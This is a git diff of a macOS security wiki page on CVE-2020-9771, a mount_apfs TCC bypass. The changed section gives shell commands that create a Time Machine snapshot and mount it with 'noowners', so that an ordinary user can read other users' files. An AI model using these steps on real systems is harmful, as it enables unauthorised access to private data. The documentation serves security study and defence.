GITBOOK-3955: change request with no subject merged in GitBook

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CPol 2023-05-28 23:42:48 +00:00 committed by gitbook-bot
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@ -175,29 +175,34 @@ The extended attribute `com.apple.macl` **cant be cleared** like other extend
## Bypasses ## Bypasses
## CVE-2020-9771 - mount\_apfs TCC bypass and privilege escalation ### CVE-2020-9771 - mount\_apfs TCC bypass and privilege escalation
If the system has some **time machine snapshots** generated, **any user** (even unprivileged ones) can mount it an **access ALL the files** of that snapshot. **Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
# Create snapshot
tmutil localsnapshot
# List snapshots # List snapshots
tmutil listlocalsnapshots / tmutil listlocalsnapshots /
Snapshots for disk /: Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it # Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap mkdir /tmp/snap
# Mount it # Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o nobrowse,ro -s ccom.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap /sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it # Access it
ls /tmp/snap/Users/admin_user # This will work ls /tmp/snap/Users/admin_user # This will work
``` ```
{% endcode %} {% endcode %}
A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve\_2020\_9771/) but in there it's explained that after the "fix" only applications with **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) will be able to do this. A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
### Write Bypass ### Write Bypass